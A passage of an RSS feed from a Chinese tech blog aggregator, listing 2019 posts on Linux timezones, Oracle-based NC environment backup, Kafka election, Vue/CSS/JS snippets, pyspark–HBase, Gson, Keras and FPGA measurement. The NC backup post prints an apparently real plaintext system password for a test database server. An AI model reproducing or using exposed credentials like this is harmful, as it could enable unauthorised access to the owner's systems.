list:[&#39;1&#39;,&#39;22&#39;,&#39;333&#39;,&#39;4444&#39;,&#39;55555&#39;,&#39;666666&#39;,&#39;7777777&#39;,&#39;88888888&#39;,&#39;999999999&#39;] }, mounted() { this.$refs.frame.style.color=&#39;red&#39; }, methods: { changeColor(item,i){ debugger let _y=&#39;100px&#39; let _x=&#39;100px&#39; this.$refs[`list${i}`][0].style.color=&#39;blue&#39; this.$refs[`list${i}`][0].style.transform=&#39;translate(&#39;+_x+&#39;,&#39;+_y+&#39;)&#39; } } }) &amp;lt;/script&amp;gt; 4、dom结构&#xA;5、可以添加的style样式汇总，详见https://blog.csdn.net/LzzMandy/article/details/91372903</description>
    </item>
    <item>
      <title>linux修改系统时区</title>
      <link>https://bchobby.github.io/posts/5fd5a4d0cfcf3a3edc35f6995944d033/</link>
      <pubDate>Mon, 10 Jun 2019 12:08:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5fd5a4d0cfcf3a3edc35f6995944d033/</guid>
      <description>1.使用tzselect命令&#xA;[root@localhost /]# tzselect Please identify a location so that time zone rules can be set correctly. Please select a continent or ocean. 1) Africa 2) Americas 3) Antarctica 4) Arctic Ocean 5) Asia 6) Atlantic Ocean 7) Australia 8) Europe 9) Indian Ocean 10) Pacific Ocean 11) none - I want to specify the time zone using the Posix TZ format. #? 5 Please select a country. 1) Afghanistan&#x9;18) Israel&#x9;35) Palestine 2) Armenia&#x9;19) Japan&#x9;36) Philippines 3) Azerbaijan&#x9;20) Jordan&#x9;37) Qatar 4) Bahrain&#x9;21) Kazakhstan&#x9;38) Russia 5) Bangladesh&#x9;22) Korea (North)&#x9;39) Saudi Arabia 6) Bhutan&#x9;23) Korea (South)&#x9;40) Singapore 7) Brunei&#x9;24) Kuwait&#x9;41) Sri Lanka 8) Cambodia&#x9;25) Kyrgyzstan&#x9;42) Syria 9) China&#x9;26) Laos&#x9;43) Taiwan 10) Cyprus&#x9;27) Lebanon&#x9;44) Tajikistan 11) East Timor&#x9;28) Macau&#x9;45) Thailand 12) Georgia&#x9;29) Malaysia&#x9;46) Turkmenistan 13) Hong Kong&#x9;30) Mongolia&#x9;47) United Arab Emirates 14) India&#x9;31) Myanmar (Burma)&#x9;48) Uzbekistan 15) Indonesia&#x9;32) Nepal&#x9;49) Vietnam 16) Iran&#x9;33) Oman&#x9;50) Yemen 17) Iraq&#x9;34) Pakistan #?</description>
    </item>
    <item>
      <title>26、NC环境备份还原</title>
      <link>https://bchobby.github.io/posts/72e1807517cd1d9f14b255a9617f785f/</link>
      <pubDate>Mon, 10 Jun 2019 11:32:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/72e1807517cd1d9f14b255a9617f785f/</guid>
      <description>**&#xA;26、NC环境备份还原&#xA;**&#xA;NC正式环境迁移至测试环境步骤&#xA;1、压缩正式服务器home目录&#xA;2、异地备份正式数据库&#xA;3、将home压缩文件拷贝至测试服务器，停止测试服务，重命名原来的home为home.bak(日期时间)，将拷贝过来的home压缩文件解压。&#xA;4、将db备份文件拷贝至本机后即可启动正式服务器上的中间件。&#xA;5、在本机将备份文件导入173服务器。(库放linux系统)&#xA;5.1、将备份的dmp文件通过FTP工具拷贝至Linux系统的目录中（如：/home/dbbak）。&#xA;5.2、在测试服务器上，创建新的oracle用户(测试数据库服务器system的密码systemHuaFeng678)&#xA;CREATE USER hfnc4 IDENTIFIED BY hfnc4 DEFAULT TABLESPACE NNC_DATA01 TEMPORARY TABLESPACE temp;&#xA;GRANT connect,dba to hfnc4 ;&#xA;5.2、使用putty工具打开终端，用root用户登录，授权文件所在文件夹：chmod -R 777 /home/dbbak&#xA;5.3、命令中切换oracle用户(命令：su - oracle)，输入命令进行导入（改用impdp导入方式）：imp hfnc4/hfnc4@orcl file=/home/dbbak/orcl_2017-04-10.dmp log=/home/dbbak/orcl_2017-04-10.log ignore=y full=y&#xA;导入完成后，删除测试服务器上的拷贝文件，避免长期占用空间。&#xA;5、(库放windows系统)&#xA;5.1、将我们备份的数据库文件拷贝至测试服务器上，并解压到某个文件夹中&#xA;5.2、在测试服务器上，创建新的oracle用户(测试数据库服务器system的密码systemHuaFeng678)&#xA;CREATE USER hfnc0326 IDENTIFIED BY hfnc0326 DEFAULT TABLESPACE NNC_DATA01 TEMPORARY TABLESPACE temp;&#xA;GRANT connect,dba to hfnc0326;&#xA;5.3、命令中切换oracle用户(命令：su - oracle)，输入命令进行导入（改用impdp导入方式）：impdp hfpy/1@orcl directory=dump_dir remap_schema=hftest:hfpy dumpfile=hfnc20161115.dmp logfile=hfnc20161115.log&#xA;6、修改sysconfig文件。</description>
    </item>
    <item>
      <title>浅谈Kafka选举机制</title>
      <link>https://bchobby.github.io/posts/881b367cc2cde3ba45739d6340a588c4/</link>
      <pubDate>Sun, 09 Jun 2019 00:10:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/881b367cc2cde3ba45739d6340a588c4/</guid>
      <description>Kafka是一个高性能，高容错，多副本，可复制的分布式消息系统。在整个系统中，涉及到多处选举机制，被不少人搞混，这里总结一下，本篇文章大概会从三个方面来讲解。&#xA;控制器（Broker）选主分区多副本选主消费组选主 控制器（Broker）选举&#xA;所谓控制器就是一个Borker，在一个kafka集群中，有多个broker节点，但是它们之间需要选举出一个leader，其他的broker充当follower角色。集群中第一个启动的broker会通过在zookeeper中创建临时节点/controller来让自己成为控制器，其他broker启动时也会在zookeeper中创建临时节点，但是发现节点已经存在，所以它们会收到一个异常，意识到控制器已经存在，那么就会在zookeeper中创建watch对象，便于它们收到控制器变更的通知。&#xA;那么如果控制器由于网络原因与zookeeper断开连接或者异常退出，那么其他broker通过watch收到控制器变更的通知，就会去尝试创建临时节点/controller，如果有一个broker创建成功，那么其他broker就会收到创建异常通知，也就意味着集群中已经有了控制器，其他broker只需创建watch对象即可。&#xA;如果集群中有一个broker发生异常退出了，那么控制器就会检查这个broker是否有分区的副本leader，如果有那么这个分区就需要一个新的leader，此时控制器就会去遍历其他副本，决定哪一个成为新的leader，同时更新分区的ISR集合。&#xA;如果有一个broker加入集群中，那么控制器就会通过Broker ID去判断新加入的broker中是否含有现有分区的副本，如果有，就会从分区副本中去同步数据。&#xA;集群中每选举一次控制器，就会通过zookeeper创建一个controller epoch，每一个选举都会创建一个更大，包含最新信息的epoch，如果有broker收到比这个epoch旧的数据，就会忽略它们，kafka也通过这个epoch来防止集群产生“脑裂”。&#xA;分区副本选举机制&#xA;在kafka的集群中，会存在着多个主题topic，在每一个topic中，又被划分为多个partition，为了防止数据不丢失，每一个partition又有多个副本，在整个集群中，总共有三种副本角色：&#xA;首领副本（leader）：也就是leader主副本，每个分区都有一个首领副本，为了保证数据一致性，所有的生产者与消费者的请求都会经过该副本来处理。跟随者副本（follower）：除了首领副本外的其他所有副本都是跟随者副本，跟随者副本不处理来自客户端的任何请求，只负责从首领副本同步数据，保证与首领保持一致。如果首领副本发生崩溃，就会从这其中选举出一个leader。首选首领副本：创建分区时指定的首选首领。如果不指定，则为分区的第一个副本。 follower需要从leader中同步数据，但是由于网络或者其他原因，导致数据阻塞，出现不一致的情况，为了避免这种情况，follower会向leader发送请求信息，这些请求信息中包含了follower需要数据的偏移量offset，而且这些offset是有序的。&#xA;如果有follower向leader发送了请求1，接着发送请求2，请求3，那么再发送请求4，这时就意味着follower已经同步了前三条数据，否则不会发送请求4。leader通过跟踪 每一个follower的offset来判断它们的复制进度。&#xA;默认的，如果follower与leader之间超过10s内没有发送请求，或者说没有收到请求数据，此时该follower就会被认为“不同步副本”。而持续请求的副本就是“同步副本”，当leader发生故障时，只有“同步副本”才可以被选举为leader。其中的请求超时时间可以通过参数replica.lag.time.max.ms参数来配置。&#xA;我们希望每个分区的leader可以分布到不同的broker中，尽可能的达到负载均衡，所以会有一个首选首领，如果我们设置参数auto.leader.rebalance.enable为true，那么它会检查首选首领是否是真正的首领，如果不是，则会触发选举，让首选首领成为首领。&#xA;消费组选主&#xA;在kafka的消费端，会有一个消费者协调器以及消费组，组协调器GroupCoordinator需要为消费组内的消费者选举出一个消费组的leader，那么如何选举的呢？&#xA;如果消费组内还没有leader，那么第一个加入消费组的消费者即为消费组的leader，如果某一个时刻leader消费者由于某些原因退出了消费组，那么就会重新选举leader，如何选举？&#xA;private val members = new mutable.HashMap[String, MemberMetadata] leaderId = members.keys.headOption 上面代码是kafka源码中的部分代码，member是一个hashmap的数据结构，key为消费者的member_id，value是元数据信息，那么它会将leaderId选举为Hashmap中的第一个键值对，它和随机基本没啥区别。&#xA;对于整个选举算法的详情需要先了解Raft选举算法，kafka是基于该算法来实现leader选举的。有兴趣的读者可以参考之前的文章【分布式一致性协议：Raft算法详解】。&#xA;参考资料：&#xA;《Kafka权威指南》</description>
    </item>
    <item>
      <title>css实现进度圆环</title>
      <link>https://bchobby.github.io/posts/73ca04e98a8ad6228d745afb1e4e979c/</link>
      <pubDate>Sat, 08 Jun 2019 16:48:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/73ca04e98a8ad6228d745afb1e4e979c/</guid>
      <description>圆环实现原理&#xA;1.左边一个扇形+右边一个扇形组成一个圆环的圆圈&#xA;2.clip裁剪左扇形和右扇形，使其变为圆环形式&#xA;3.隐藏圆圈容器的左半边，只显示右半边，让左扇形向右开始逐步旋转，通过转动左扇形，隐藏右扇形，使左扇形旋转到右边显示，从而展现圆环进度50%以内的视觉效果&#xA;4.当左扇形旋转回左边后，右边出现空缺，所以需要显示右扇形显示在右边替补空缺的右边部分，最后让旋转回左边的左扇形显示需要显示的部分，从而程序百分之50之后的进度圆环视觉效果&#xA;原文博客&#xA;https://my.oschina.net/conqueror/blog/727713&#xA;git源代码&#xA;https://github.com/aa1312296679/CSSArcPercent</description>
    </item>
    <item>
      <title>微信公众号 模版消息 跳转到小程序报错{ errcode: 40013, errmsg: &#39;invalid appid hint: [cC6RwA09011295]&#39; }</title>
      <link>https://bchobby.github.io/posts/1993638fab96182f3d2538c6d0683b8a/</link>
      <pubDate>Sat, 08 Jun 2019 16:10:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1993638fab96182f3d2538c6d0683b8a/</guid>
      <description> 今天做微信公众号模版消息推送，要求点击模版消息，就直接跳转到小程序里面。&#xA;当然，我已经按照官方文档，填写了正确的小程序appid，可是还是报错。&#xA;{ errcode: 40013, errmsg: &#39;invalid appid hint: [cC6RwA09011295]&#39; } 最后，找了一会儿原因，我发现了问题所在：&#xA;公众号需要和小程序关联，才可以进行跳转，不然即使写了跳转参数，也直接会报错 invalid appid. 希望以后一定要细心+细心。 </description>
    </item>
    <item>
      <title>pyspark连接hbase的三种方式</title>
      <link>https://bchobby.github.io/posts/0a2f1329d3d2bd243390d8dbd1216272/</link>
      <pubDate>Sat, 08 Jun 2019 10:56:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0a2f1329d3d2bd243390d8dbd1216272/</guid>
      <description>第一种方式 通过thrift接口，这种方式是最简单的，但是访问速度慢，而且thrift接口socket是由超时的&#xA;用Python操作HBase之HBase-Thrift&#xA;这种方式遍历rdd会出问题，当rdd特别大的时候。&#xA;通过happybase增强thrift接口&#xA;安装happyhbase&#xA;安装过程失败，尝试修正方法,centos7&#xA;yum install python-devel&#xA;安装happybase也失败了。看了只有使用原生的thrift接口了。&#xA;Python操作HBase之happybase&#xA;第二种方式 通过newAPIHadoopRDD接口，尝试了好几次，没有搞通&#xA;经过研究，这种方式终于搞通了，参考链接&#xA;错误处理方法&#xA;分布式需要在每个节点上都拷贝这个文件，修改配置。&#xA;通过scp拷贝方式最为简介。&#xA;scp /var/lib/spark/jars/hbase/spark-examples_2.11-1.6.0-typesafe-001.jar root@192.168.100.13:/var/lib/spark/jars/hbase/spark-examples_2.11-1.6.0-typesafe-001.jar&#xA;第三种方式 经过很多折腾，这种方式也终于搞通了。&#xA;修改启动参数：&#xA;pyspark2 --conf spark.kryoserializer.buffer.max=1024m --conf spark.driver.maxResultSize=20G --conf spark.driver.memory=20G --total-executor-cores=100 --executor-memory=10G --executor-cores=2 --packages com.hortonworks:shc-core:1.1.1-2.1-s_2.11 --repositories http://repo.hortonworks.com/content/groups/public/&#xA;需要很长的时间，只在启动的spark-shell节点上操作。&#xA;import datetime from pyspark import SparkConf, SparkContext #driver意思为连接spark集群的机子,所以配置host要配置当前编写代码的机子host from pyspark.sql import SparkSession from pyspark.sql import SQLContext from pyspark.sql import Row, functions as F from pyspark.sql.window import Window from pyspark.sql.functions import udf from pyspark.</description>
    </item>
    <item>
      <title>Linux命令笔记（一）：思维导图</title>
      <link>https://bchobby.github.io/posts/feb1c2fc7007cc69bf533329d061ade0/</link>
      <pubDate>Fri, 07 Jun 2019 13:35:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/feb1c2fc7007cc69bf533329d061ade0/</guid>
      <description> </description>
    </item>
    <item>
      <title>js学习五</title>
      <link>https://bchobby.github.io/posts/abad4104fa17ed13368b8fdc40c80ca8/</link>
      <pubDate>Thu, 06 Jun 2019 17:01:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/abad4104fa17ed13368b8fdc40c80ca8/</guid>
      <description> 设置元素的宽高为窗口的宽高：&#xA;$(&#34;#body&#34;).height($(window).height()); $(&#34;#body&#34;).width($(window).width()); </description>
    </item>
    <item>
      <title>MATLAB 程序出现错误总结</title>
      <link>https://bchobby.github.io/posts/b66c9c4224d9f9a578473389518ffdca/</link>
      <pubDate>Thu, 06 Jun 2019 11:47:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b66c9c4224d9f9a578473389518ffdca/</guid>
      <description>一、程序代码如下&#xA;fid=fopen([&#39;****&#39;,num2str(******),&#39;******&#39;],&#39;wt&#39;);&#xA;fprintf(fid, &#39;%d\n&#39; ,*******); fclose(fid);&#xA;在运行matlab时提示错误不能正正确运用fprint&#xA;出错原因没有把matlab改为当前文件夹（只是把matlab程序所在文件的文件夹添加到了路径）&#xA;解决方法：主页--编辑器里面的路径指到matlab所在路径&#xA;成功解决错误。</description>
    </item>
    <item>
      <title>Gson详解(一）</title>
      <link>https://bchobby.github.io/posts/04cfea3d95831ee2d21d96f4b8163ffc/</link>
      <pubDate>Thu, 06 Jun 2019 11:01:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/04cfea3d95831ee2d21d96f4b8163ffc/</guid>
      <description>一.Gson说明 Gson（又称Google Gson）是Google公司发布的一个开放源代码的Java库，主要用途为序列化Java对象为JSON字符串，或反序列化JSON字符串成Java对象。而JSON(JavaScript Object Notation) 是一种轻量级的数据交换格式，易于人阅读和编写，同时也易于机器解析和生成，广泛应用于各种数据的交互中，尤其是服务器与客户端的交互。&#xA;build.gradle倒库：&#xA;implementation &#39;com.google.code.gson:gson:2.8.5&#39; Gson各个版本下载地址：http://repo1.maven.org/maven2/com/google/code/gson/gson/&#xA;二.Gson使用 2.1Gson的创建 Gson的创建方式一：直接new Gson对象&#xA;// 使用new方法 Gson gson = new Gson(); // toJson 将bean对象转换为json字符串 String jsonStr = gson.toJson(user, User.class); // fromJson 将json字符串转为bean对象 Student user= gson.fromJson(jsonStr, User.class); // 序列化List String jsonStr2 = gson.toJson(list); // 反序列化成List时需要使用到TypeToken getType() List&amp;lt;User&amp;gt; retList = gson.fromJson(jsonStr2,new TypeToken&amp;lt;List&amp;lt;User&amp;gt;&amp;gt;(){}.getType()); //type的使用，User代表解析出来的Bean对象，result为后台返回的json格式字符串， //List&amp;lt;UserBean&amp;gt;代表通过Gson按照type格式解析json格式字符串后返回的对象列表 如：Type type = new TypeToken&amp;lt;List&amp;lt;User&amp;gt;&amp;gt;() { }.getType(); List&amp;lt;UserBean&amp;gt; UserBeans = gson.fromJson(result, type); Gson的创建方式二：使用GsonBuilder&#xA;使用new Gson()，此时会创建一个带有默认配置选项的Gson实例，如果不想使用默认配置，那么就可以使用GsonBuilder。&#xA;//serializeNulls()是GsonBuilder提供的一种配置，当字段值为空或null时，依然对该字段进行转换 Gson gson = new GsonBuilder().</description>
    </item>
    <item>
      <title>使用for...in和for...of在循环遍历时的区别</title>
      <link>https://bchobby.github.io/posts/06dec6276244e1cd7ac9c138417b1493/</link>
      <pubDate>Thu, 06 Jun 2019 07:23:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/06dec6276244e1cd7ac9c138417b1493/</guid>
      <description> 目录 总结遍历数组的区别遍历数组var和let类型的比较使用for...in遍历数组使用for...of遍历数组 总结 for…of是在for…in之后推出的新特性,弥补for…in中的一些不足.JSON 数据的标的达方式是key:valuefor…of遍历出的结果是valuefor…in遍历出的结果是key 遍历数组的区别 遍历数组var和let类型的比较 这里使用let声明变量,不要使用var,存在变量提升问题&#xA;//使用var类型遍历数组 var a=[1,2,3] for(var i=0;i&amp;lt;3;i++){ setTimeout(function(){ console.log(i); },0) } //输出结果是333 //使用let类型遍历数组 var a=[1,2,3] for(let i=0;i&amp;lt;3;i++){ setTimeout(function(){ console.log(i); },0) } //输出结果是123 使用for…in遍历数组 遍历结果是key,数组下标&#xA;var a=[1,2,3]; for(let i in a){ console.log(i);//0 1 2 console.log(a[i]);//1 2 3 } 使用for…of遍历数组 遍历结果是value,数组值&#xA;var a=[1,2,3]; for(let i of a){ console.log(i);//1 2 3 } </description>
    </item>
    <item>
      <title>keras模型保存和加载</title>
      <link>https://bchobby.github.io/posts/408c6f5077d79b8dcb781e763d7f4160/</link>
      <pubDate>Tue, 04 Jun 2019 22:43:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/408c6f5077d79b8dcb781e763d7f4160/</guid>
      <description>tensorflow中的模型常常是protobuf格式，这种格式既可以是二进制也可以是文本。keras模型保存和加载与tensorflow不同，keras中的模型保存和加载通常是保存成hdf5格式。&#xA;keras的模型保存分为多种情况。&#xA;一、不保存模型只显示大概结构 model.summary()&#xA;这个函数会打印模型结构，但是仅仅是打印到控制台。&#xA;keras.utils.plot_model()&#xA;使用graphviz中的dot.exe生成网络结构拓扑图&#xA;二、保存模型结构 keras.models.Model&#xA;对象的to_json,to_yaml只保存模型结构，加载时使用keras.models.model_from_json(),keras.models.model_from_yaml()&#xA;keras.model.get_config()返回文本形式的配置&#xA;使用keras.model.model_from_config可以加载模型。&#xA;三、保存全部结构（最常用的方法） keras.core.saving.py这个文件十分重要，keras的模型保存、加载都需要这个文件。&#xA;但是不建议直接使用这个文件，因为keras中的Model对象和models模块会调用这个文件。&#xA;keras.core包下的内容一般供内部使用，不暴露给使用者。&#xA;Model对象提供了save()和save_wights()两个方法。&#xA;save()方法保存了三种东西：&#xA;模型结构模型参数优化器参数 其中优化器参数是给优化器用的，用于继续训练模型。有些优化器比如AdamOptimizer需要根据训练步数来调整不同参数的学习速率，这样在分阶段训练模型时才能够保证正确。save()函数保存结果就是一个hdf5文件，不像tensorflow一下子保存好多种文件。tensorflow把模型结构和权重分开保存，目的是多个权重文件可以共用一个模型结构文件，但是模型结构文件通常非常小，所占空间远远小于参数所占空间。&#xA;Model对象的save_weights()方法：&#xA;只保存了模型参数而没有保存模型结构，它的保存格式也是hdf5。它保存的数据不能用于继续训练模型。&#xA;Model实例的save()方法有一个等价方式：使用models.save_model()。&#xA;对于使用save()方法保存的文件，可以使用models.load_model()进行加载，此函数直接返回一个Model对象。因为save()方法保存了模型的全部内容，所以可以直接“无中生有”创造一个模型。&#xA;对于使用save_weights()方法保存的文件，只能通过Model对象提供的load_weights()方法加载模型权重。 并且，在加载模型权重之前，必须把网络结构定义好，并且模型的各个层的名称必须与保存模型权重时的各个层保持一致。必须先compile()函数后面用&#xA;带大家看个反面教程：&#xA;我试图从我训练过的模型中保存和加载重量.&#xA;用于保存模型的代码是.&#xA;TensorBoard(log_dir=&#39;/output&#39;) model.fit_generator(image_a_b_gen(batch_size), steps_per_epoch=1, epochs=1) model.save_weights(&#39;model.hdf5&#39;) model.save_weights(&#39;myModel.h5&#39;) 如果这是一种不正确的方式,或者是否有更好的方法,请告诉我.&#xA;但是当我尝试加载它们时,使用它,&#xA;from keras.models import load_model model = load_model(&#39;myModel.h5&#39;) 但我得到这个错误：&#xA;ValueError Traceback (most recent call last) &amp;lt;ipython-input-7-27d58dc8bb48&amp;gt; in &amp;lt;module&amp;gt;() 1 from keras.models import load_model ----&amp;gt; 2 model = load_model(&#39;myModel.h5&#39;) /home/decentmakeover2/anaconda3/lib/python3.5/site- packages/keras/models.py in load_model(filepath, custom_objects, compile) 235 model_config = f.</description>
    </item>
    <item>
      <title>基于FPGA的等精度频率计，频率测量范围0~25M正弦波（方波），相位测量范围0~100k</title>
      <link>https://bchobby.github.io/posts/3ff8a43668cb901bed2c451f8ba4aece/</link>
      <pubDate>Tue, 04 Jun 2019 21:15:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3ff8a43668cb901bed2c451f8ba4aece/</guid>
      <description>完整工程请见：https://download.csdn.net/download/qq_42838291/12573047&#xA;实物图及其测试效果，由于测试时没拍太多照片。高频部分的没有，只贴上低频的。&#xA;由于这里用到的多是集成的芯片和模块，所以画的比较简单。图中的CH1和CH2时信号源产生的两路正弦波或方波。方波可以直接输入测量，但是注意信号源要设置偏移量，将输出方波抬高到0上。因为信号源直接出来的方波含有负电压会导致测量不准，甚至损坏I/O口。正弦波要经过整形放大模块后才能进入FPGA。&#xA;进来的两路信号中，一路直接送进FPGA进行测频。异或门是将两路同频同幅的方波信号进行异或后再送入FPGA进行计数（测相）。D触发器是判断两路信号的超前滞后关系。&#xA;这里如果测量两路正弦波的频率和相位的话要先通过整形放大电路，将两路带负电压的正弦波整形成为单极性的方波。常用的电压比较器有LM311P或LM393之类的（延时在50~200ns之间），但是效果不尽人意，整形的波形不够干净。只能用来做测频用，测相会产生很大的误差。因为测相是直接对异或的方波进行计数，如果波形不好，计数也不会准确。附一张图：&#xA;紫色是信号源产生的标准方波，下面是经过整形电路后的波形，测相要不得。&#xA;这里推荐使用高速电压比较器TLV3501（单通道）淘宝几块钱就有。也可以直接使用双通道TLV3502(淘宝十多块钱)。这是淘宝上比较便宜的价钱，可根据自己的心情选择购买。&#xA;如果不想自己在做整形电路的话可以直接购买模块，淘宝上有单通道/双通道的TLV3501/3502模块。推荐一个单通道的，当时买来测试用的，单通道。每个35块，两块加起来还比双通道的便宜。&#xA;注意一定要使用SMA线，不管你自己做电路还是买模块。即使是低频状态下，信号源输出到整形电路这一段距离都会受到比较大的干扰，突出的表现是频率测量准确，相位误差很大。购买时要注意如果SMA头是针头则要配合SMA内孔线。&#xA;想自己做整形电路的朋友可以参考这张原理图（单通道），这是购买模块的商家的原理图。&#xA;打开FPGA工程&#xA;顶层模块是一些端口的声明，和几个模块的例化。&#xA;module Fre_measure( input clk, input rst_n, input clk_measure, //频率测量输入引脚 input Phase_Measure, //相位测量输入引脚 input uart_rx,&#x9;output uart_tx ); wire[31:0] fre_cnt;&#x9;wire[31:0] xiang_wei; //parameter define parameter CLK_FREQ = 50000000; //定义系统时钟频率 parameter UART_BPS = 115200; //定义串口波特率 wire pulse; wire [31:0]pulse_high_reg, pulse_low_reg; //脉宽高低位寄存器 Pulse_width_messure Pulse_width_messure//例化脉宽测量模块 ( .clk (clk), .rst_n (rst_n), .pulse_in (Phase_Measure), //相位测量 .pulse_high_reg (pulse_high_reg),//高电平宽度寄存器 .pulse_low_reg (pulse_low_reg)//低电平宽度寄存器 ); Time_1s time_1s( .clk (clk ), .</description>
    </item>
    <item>
      <title>linux用npm全局安装的模块，使用模块命令时提示command not found</title>
      <link>https://bchobby.github.io/posts/414a3f82109c36b7b92d0b62128b3b42/</link>
      <pubDate>Tue, 04 Jun 2019 14:47:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/414a3f82109c36b7b92d0b62128b3b42/</guid>
      <description>对于某些node模块我们需要全局安装它，方便使用。在linux中我们我们会遇到这个的一个问题，我们全局安装了一个模块，但是该模块的命令无法在全局中正常使用。&#xA;如：npm install -g sinopia&#xA;用命令：sinopia 时会提示 sinopia: command not found&#xA;原因：模块安装成功后，环境变量没有添加设置，导致无法正常使用该命令。&#xA;解决方案：&#xA;echo -e &#34;export PATH=$(npm prefix -g)/bin:$PATH&#34; &amp;gt;&amp;gt; ~/.bashrc &amp;amp;&amp;amp; source ~/.bashrc&#xA;通过设置之后，用npm在全局安装的模块命令就可以全局使用了。</description>
    </item>
    <item>
      <title>软件测试-正交试验法</title>
      <link>https://bchobby.github.io/posts/a6183d954eeff4cad979dc129e1ce4b0/</link>
      <pubDate>Mon, 03 Jun 2019 19:55:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a6183d954eeff4cad979dc129e1ce4b0/</guid>
      <description>1.正交实验法的概念 正交试验设计(Orthogonal experimental design)是研究多因素多水平的又一种设计方法，它是根据正交性从全面试验中挑选出部分有代表性的点进行试验，这些有代表性的点具备了“均匀分散，齐整可比”的特点，正交试验设计是分式析因设计的主要方法。是一种高效率、快速、经济的实验设计方法。日本著名的统计学家田口玄一将正交试验选择的水平组合列成表格，称为正交表。&#xA;例如作一个三因素三水平的实验，按全面实验要求，须进行3^3=27种组合的实验，且尚未考虑每一组合的重复数。若按L9(3^4)正交表安排实验，只需作9次，按L15(3^7)正交表进行15次实验，显然大大减少了工作量。因而正交实验设计在很多领域的研究中已经得到广泛应用。&#xA;2.正交表的性质 (1)每列中不同数字出现的次数是相等的，如L9(3^3)，每列中不同的数字是1，2，3，它们各出现3次；&#xA;(2)在任意两列中，将同一行的两个数字看成有序数对时，每种数对出现的次数是相等的，如L9(3^3)，有序数对共有9个：(1，1)，(1，2)，(1，3)，(2，1)，(2，2)，(2，3)，(3，1)，(3，2)，(3，3)，它们各出现一次。&#xA;3.利用正交表来进行正交试验 为了叙述方便，用L代表正交表，常用的有L8(2^7)，L9(3^4)，L16(4^5)，L8(4×2^4)，L12(2^11)，等等。此符号各数字的意义如下： L8(2^7)，7为此表列的数目（最多可安排的因子数），2为因子的水平数，8为此表行的数目（试验次数）。&#xA;L16(2×3^7),有7列是3水平的,有1列是2水平的。&#xA;L16(2×3^7)的数字告诉我们，用它来安排试验，做16个试验最多可以考察一个2水平因子和7个3水平因子。&#xA;在行数为mn型的正交表中(m，n是正整数)，试验次数(行数)=Σ(每列水平数-1)+ 1&#xA;正交表具有两条性质：(1)每一列中各数字出现的次数都一样多。(2)任何两列所构成的各有序数对出现的次数都一样多。所以称之谓正交表。&#xA;例如在L9(3^3)中(见表1)，各列中的1、2、3都各自出现3次；任何两列，例如第3、4列，所构成的有序数对从上向下共有九种，既没有重复也没有遗漏。其他任何两列所构成的有序数对也是这九种各出现一次。这反映了试验点分布的均匀性。&#xA;假设三个因子，分别将其取值范围定义如下，则可以得到以下正交表和测试用例&#xA;A：A1=80℃，A2=85℃，A3=90℃&#xA;B：B1=90分，B2=120分，B3=150分&#xA;C：C1=5%，C2=6%，C3=7%</description>
    </item>
    <item>
      <title>JS正则表达式验证数字</title>
      <link>https://bchobby.github.io/posts/5ad41a8407221bf7debaf01aa2fea2d4/</link>
      <pubDate>Mon, 03 Jun 2019 18:00:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5ad41a8407221bf7debaf01aa2fea2d4/</guid>
      <description>原文链接：https://www.cnblogs.com/xinwusuo/p/5948908.html&#xA;js：&#xA;&amp;lt;script type=&#34;text/javascript&#34;&amp;gt; function SubmitCk() { var reg = /^([a-zA-Z0-9]+[_|\_|\.]?)*[a-zA-Z0-9]+@([a-zA-Z0-9]+[_|\_|\.]?)*[a-zA-Z0-9]+\.[a-zA-Z]{2,3}$/; if (!reg.test($(&#34;#txtEmail&#34;).val())) { alert(&#34;请输入正确邮箱地址&#34;) return false; } } &amp;lt;/script&amp;gt; 验证数字的正则表达式集 ：&#xA;验证数字：^[0-9]*$ 验证n位的数字：^\d{n}$ 验证至少n位数字：^\d{n,}$ 验证m-n位的数字：^\d{m,n}$ 验证零和非零开头的数字：^(0|[1-9][0-9]*)$ 验证有两位小数的正实数：^[0-9]+(.[0-9]{2})?$ 验证有1-3位小数的正实数：^[0-9]+(.[0-9]{1,3})?$ 验证非零的正整数：^\+?[1-9][0-9]*$ 验证非零的负整数：^\-[1-9][0-9]*$ 验证非负整数（正整数 + 0） ^\d+$ 验证非正整数（负整数 + 0） ^((-\d+)|(0+))$ 验证长度为3的字符：^.{3}$ 验证由26个英文字母组成的字符串：^[A-Za-z]+$ 验证由26个大写英文字母组成的字符串：^[A-Z]+$ 验证由26个小写英文字母组成的字符串：^[a-z]+$ 验证由数字和26个英文字母组成的字符串：^[A-Za-z0-9]+$ 验证由数字、26个英文字母或者下划线组成的字符串：^\w+$ 验证用户密码:^[a-zA-Z]\w{5,17}$ 正确格式为：以字母开头，长度在6-18之间，只能包含字符、数字和下划线。 验证是否含有 ^%&amp;amp;&#39;,;=?$\&#34; 等字符：[^%&amp;amp;&#39;,;=?$\x22]+ 验证汉字：^[\u4e00-\u9fa5],{0,}$ 验证Email地址：/^([a-zA-Z0-9]+[_|\_|\.]?)*[a-zA-Z0-9]+@([a-zA-Z0-9]+[_|\_|\.]?)*[a-zA-Z0-9]+\.[a-zA-Z]{2,3}$/&#xA;验证InternetURL：^http://([\w-]+\.)+[\w-]+(/[\w-./?%&amp;amp;=]*)?$ ；^[a-zA-z]+://(w+(-w+)*)(.(w+(-w+)*))*(?S*)?$ 验证电话号码：^(\(\d{3,4}\)|\d{3,4}-)?\d{7,8}$：--正确格式为：XXXX-XXXXXXX，XXXX-XXXXXXXX，XXX-XXXXXXX，XXX-XXXXXXXX，XXXXXXX，XXXXXXXX。 验证身份证号（15位或18位数字）：^\d{15}|\d{}18$ 验证一年的12个月：^(0?[1-9]|1[0-2])$ 正确格式为：“01”-“09”和“1”“12” 验证一个月的31天：^((0?[1-9])|((1|2)[0-9])|30|31)$ 正确格式为：01、09和1、31。 